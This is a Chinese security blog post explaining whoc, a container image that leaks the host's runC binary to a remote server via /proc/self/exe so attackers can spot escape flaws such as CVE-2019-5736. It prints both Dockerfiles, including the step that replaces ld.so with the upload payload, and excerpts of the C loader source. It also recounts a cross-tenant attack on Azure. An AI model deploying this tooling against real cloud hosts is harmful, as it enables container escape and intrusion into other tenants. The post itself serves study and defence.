容器运行时信息收集技术介绍

一、前言

“内网渗透的本质是信息收集”,这句话不仅适用于传统内网,也同样适用于云原生环境。在进入传统内网的后渗透阶段时,首先要做的工作便是对当前所处环境做详细的信息收集,为下一步行动做铺垫。如果收集到主机的系统版本和补丁信息,攻击者可以通过对比分析出适用于当前环境的系统漏洞,有的放矢地攻击,高效率的同时也尽可能减少了痕迹。

进入云原生时代后,后渗透增加了容器逃逸的阶段。在《容器逃逸技术概览》[1]中我们了解到,容器逃逸的方式多种多样,其中一种是利用云原生相关程序的漏洞进行逃逸,所谓相关程序漏洞,指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞,包括但不限于kubelet、containerd、runC等组件漏洞。但因为容器技术对资源做了隔离,所以在容器内并不能直接收集到容器外的关键组件信息。此种情况下,盲目地使用各种漏洞进行攻击,显得并不聪明而且极易暴露,很有可能触发防护机制警报。因此我们需要思考,是否可以在容器内部收集到runC、containerd等宿主机上的组件信息?答案是肯定的。本文将介绍一种在容器内收集到容器运行时(以runC为例)信息的技术和工具——whoc[2]。

二、背景知识

2.1 runC运行过程

我们在执行功能类似于“docker run”(其他如“docker exec”等)命令时,底层实际是容器运行时在操作。例如runC,相应地,“runc run”命令会被执行。它的最终效果是在容器内部执行用户指定的程序,该程序处在容器的各自命名空间内,且受各种限制(如Cgroups)。执行过程大体如下:runC启动并加入到容器的命名空间,接着以自身(”/proc/self/exe”)为范本启动一个子进程,最后通过exec系统调用执行用户指定的二进制程序。

2.2 /proc/[PID]/exe

Linux下“一切皆文件”的机制不再详细说明,这里仅介绍/proc/[PID]/exe的概念。它是一种特殊的符号链接,又被成为magiclinks,指向进程自身对应的本地程序文件(例如我们执行ls,/proc/[PID]/exe就指向/bin/ls)。它的特殊之处在于,当打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符,而非传统的打开方式做路径解析和文件查找。这样一来,它实际上绕过了mnt命名空间及chroot对一个进程能够访问到的文件路径的限制。

三、原理介绍

whoc是一个开源的容器镜像,使用者可以在通过它创建的容器内部提取容器运行时程序文件,并发送到远程服务器。该镜像的灵感来源于CVE-2019-5736。CVE-2019-5736是一个关于runC的容器逃逸漏洞,其原理是在容器内部通过符号链接修改宿主机上的runC二进制文件,以root身份执行任意命令。详情不再赘述,感兴趣的朋友可以阅读我们曾经发布的《容器逃逸成真:从CTF解题到CVE-2019-5736漏洞挖掘分析》[3]。值得注意的是,既然可以直接修改runC二进制文件,那也可以以同样方式读取它。这意味着,虽然CVE-2019-5736漏洞早已被修复,但是攻击者依然可以读取、获得这个二进制文件,对其进行分析,找到潜在脆弱性。

3.1whoc运行模式

whoc共有两种模式:Dynamic Mode和Wait-For-ExecMode。

Dynamic Mode模式

Dynamic Mode的运行流程如图1所示,大体过程描述如下:

图1 Dynamic Mode

1. whoc镜像的entrypoint 被设置为/proc/self/exe,镜像里的动态链接库ld.so被替换为upload_runtime,然后进行构建镜像。

2. 一旦以该镜像新建容器,runC会在容器内重新执行自己。

3. 由于runC是动态链接的,upload_runtime会被内核加载到runC进程中,并执行链接库里的函数。

4. upload_runtime通过/proc/self/exe读取runC二进制文件,并将其发送给远程服务器。

Wait-For-Exec Mode模式

wait-for-exec模式的运行流程如图2所示,大体过程描述如下:

图2 Wait-For-Exec Mode

1. 镜像构造时将upload_runtime设置为entrypoint,作为whoc容器的PID 1运行。

2. 用户在启动容器时应调用一个指向/proc/self/exe的进程(如docker exec whoc_ctr/proc/self/exe),使runC在容器内重新执行自己。

3. upload_runtime会通过/proc/self/exe获取runC二进制文件并将其发送至远程服务器。

我们以Dynamic Mode镜像为例,对其源码进行解读(参考代码中注释):

FROM alpine:3.15 AS compile
RUN apk add build-base
WORKDIR /root
COPY ["upload_runtime.c", "upload_runtime.h","wait_for_exec.c", \
      "wait_for_exec.h","consts.h", \
      "/root/"]
# 编译upload_time和wait_for_exec
RUN gcc -static-pie -s upload_runtime.c wait_for_exec.c -o /upload_runtime 
#-------------------------------- #
FROM ubuntu:18.04 
RUN apt update && apt install -y curl  
RUN ln -s /proc/self/exe /entrypoint 
# 用upload_runtime覆盖原始ld.so
ARG PLATFORM_LD_PATH_ARG=/lib64/ld-linux-x86-64.so.2 
ENV PLATFORM_LD_PATH=$PLATFORM_LD_PATH_ARG
RUN cp $PLATFORM_LD_PATH /root/ld_original
COPY --from=compile /upload_runtime $PLATFORM_LD_PATH
#entrypoint链接至/proc/self/exe并在容器启动时运行它
ENTRYPOINT ["/entrypoint"]
CMD ["127.0.0.1"] # default address

wait-for-exec镜像构造文件代码如下:

FROM alpin
FROM alpine:3.15 AS compile
RUN apk add build-base
WORKDIR /root
COPY ["upload_runtime.c", "upload_runtime.h","wait_for_exec.c", \
      "wait_for_exec.h","consts.h", \
      "/root/"]
RUN gcc -static-pie -s upload_runtime.c wait_for_exec.c -o /upload_runtime
#-------------------------------- #
FROM ubuntu:18.04
RUN apt update && apt install -y curl 
COPY --from=compile /upload_runtime /upload_runtime
# 在wait_for_exec模式中直接运行upload_runtime
ENTRYPOINT ["/upload_runtime", "-e"]
CMD ["127.0.0.1"]# default address

upload_time主要功能是利用得到的文件描述符/proc/self/fd/<runtime-fd>读取宿主机上runC的size和path,通过curl发送至远程服务器 ,部分源码如下:

/* 获得主机容器运行时的文件描述符*/
if(!conf.wait_for_exec)
    {
        /* Running as the dynamic linker of theruntime process, so the runtime should be accessible at /proc/self/exe */
        /* 作为运行时进程的动态链接时,可以通过/proc/self/exe访问到文件描述符 */
        runtime_fd =open("/proc/self/exe", O_RDONLY); 
        if (runtime_fd < 0)
        {
            printf("[!] main:open(\"/proc/self/exe\") failed with '%s'\n", strerror(errno));
            return 1;
        }
 
        // Restore original dynamic linker toallow curl to work properly
        // 恢复初始动态链接,使curl能够正常工作
        ld_path = getenv(LD_PATH_ENVAR);
        if (!ld_path)
        {
            printf("[!] main: Failed toget the '%s' environment variable\n", LD_PATH_ENVAR);
            goto close_runtime_ret_1;
        }
        if (rename(ORIGINAL_LD_PATH, ld_path)< 0)
        {
            printf("[!] main: Failed torestore dynamic linker via rename() with '%s'\n", strerror(errno));
            goto close_runtime_ret_1;
        }
    }
/* 将容器链接至运行时文件描述符/proc/self/fd/<runtime_fd> */
 
    rc = snprintf(ctr_link_to_rt_buf,SMALL_BUF_SIZE, "/proc/self/fd/%d", runtime_fd);
    if (rc < 0) 
    {
        printf("[!] main:snprintf(ctr_link_to_rt_buf) failed with '%s'\n", strerror(errno));
        goto close_runtime_ret_1;
    }
    if (rc >= SMALL_BUF_SIZE)
    {
        printf("[!] main:snprintf(ctr_link_to_rt_buf) failed, not enough space in buffer (required:%d,bufsize:%d)", rc, SMALL_BUF_SIZE);
        goto close_runtime_ret_1;
    }
    /* 获取运行时size */
    if(fstat(runtime_fd, &file_info) != 0)
    {
        printf("[!] upload_file: fstat(fp)failed with '%s'\n", strerror(errno));
        goto close_runtime_ret_1;
    }
 
    /* 获取运行时在宿主机上的path*/
    rc = readlink(ctr_link_to_rt_buf,rt_hostpath_buf, SMALL_BUF_SIZE);
    if (rc < 0)
    {
        printf("[!] main:readlink(ctr_link_to_rt_buf) failed with '%s', continuing without the runtime'spath\n", strerror(errno));
        rt_hostpath = NULL;
    }
    else
    {
        rt_hostpath_buf[rc] = 0;
        rt_hostpath = rt_hostpath_buf;
    }

最终我们可以在服务器上收到发送来的runC二进制文件(实际文件名是6位长度随机字符串,如图3),赋予其执行权限并执行它,可以获取版本等详细信息,后续根据版本判断runC是否存在相关漏洞。

图3 收到runC后的执行结果

3.2 应用案例

Azure Container Instances (ACI) 是 Azure 的容器即服务 (CaaS) 产品,允许客户能够在Azure 中运行容器而无需管理底层服务器。图4展示了托管在多租户Kubernetes集群上的Azure容器实例:

图4 托管在多租户Kubernetes 集群上的 ACI

在ACI多租户环境中,出于安全考虑,每个客户容器都会在专用的单租户节点上运行,如图4中客户1的容器实例在Worker Node 1上运行,租户之间存在强边界,以此来防止相邻容器的恶意攻击。但由于任何人都可以在平台上部署容器,若ACI不能确保恶意容器不会破坏或影响其他租户的容器,那很有可能存在跨租户攻击的风险。

whoc的作者Yuval Avrahami通过将whoc部署到ACI中,成功收集到了容器运行时的信息[4],发现runC的版本较低,存在CVE-2019-5736逃逸漏洞,可以通过容器逃逸获取到Worker Node的权限,后续通过在集群内的探测和漏洞利用一步步获取到ACI集群的最高权限,完成了公有云上的跨租户攻击。Azure官网在确认该风险后奖励YuvalAvrahami 70000美元[5],可见该风险的严重性。四、总结与思考

随着公有云、私有云和混合云的广泛部署,云环境可能要遭受更多的攻击。本文通过介绍一种容器运行时收集技术的原理和应用案例,证明即使是看似安全的多租户强边界公有云环境,也可能在某一环节被攻击者收集到敏感信息,并通过该信息发现可能存在的风险然后加以利用,以致云上权限一步步沦陷。

因此,作为云服务提供商,云环境的安全建设不可懈怠。不仅要对用户使用的容器环境做权限限制和隔离,同时也应保证云原生相关程序本身的安全性,避免可能的逃逸风险。“没有绝对的安全”,安全建设永不停歇。

参考文献

[1] https://mp.weixin.qq.com/s/_GwGS0cVRmuWEetwMesauQ

[2] https://github.com/twistlock/whoc

[3] https://mp.weixin.qq.com/s/UZ7VdGSUGSvoo-6GVl53qg

[4] https://unit42.paloaltonetworks.com/azure-container-instances/

[5] https://hacker-gadgets.com/blog/tag/whoc/

版权声明

本站“技术博客”所有内容的版权持有者为绿盟科技集团股份有限公司(“绿盟科技”)。作为分享技术资讯的平台,绿盟科技期待与广大用户互动交流,并欢迎在标明出处(绿盟科技-技术博客)及网址的情形下,全文转发。
上述情形之外的任何使用形式,均需提前向绿盟科技(010-68438880-5462)申请版权授权。如擅自使用,绿盟科技保留追责权利。同时,如因擅自使用博客内容引发法律纠纷,由使用者自行承担全部法律责任,与绿盟科技无关。

Spread the word. Share this post!

Meet The Author

Leave Comment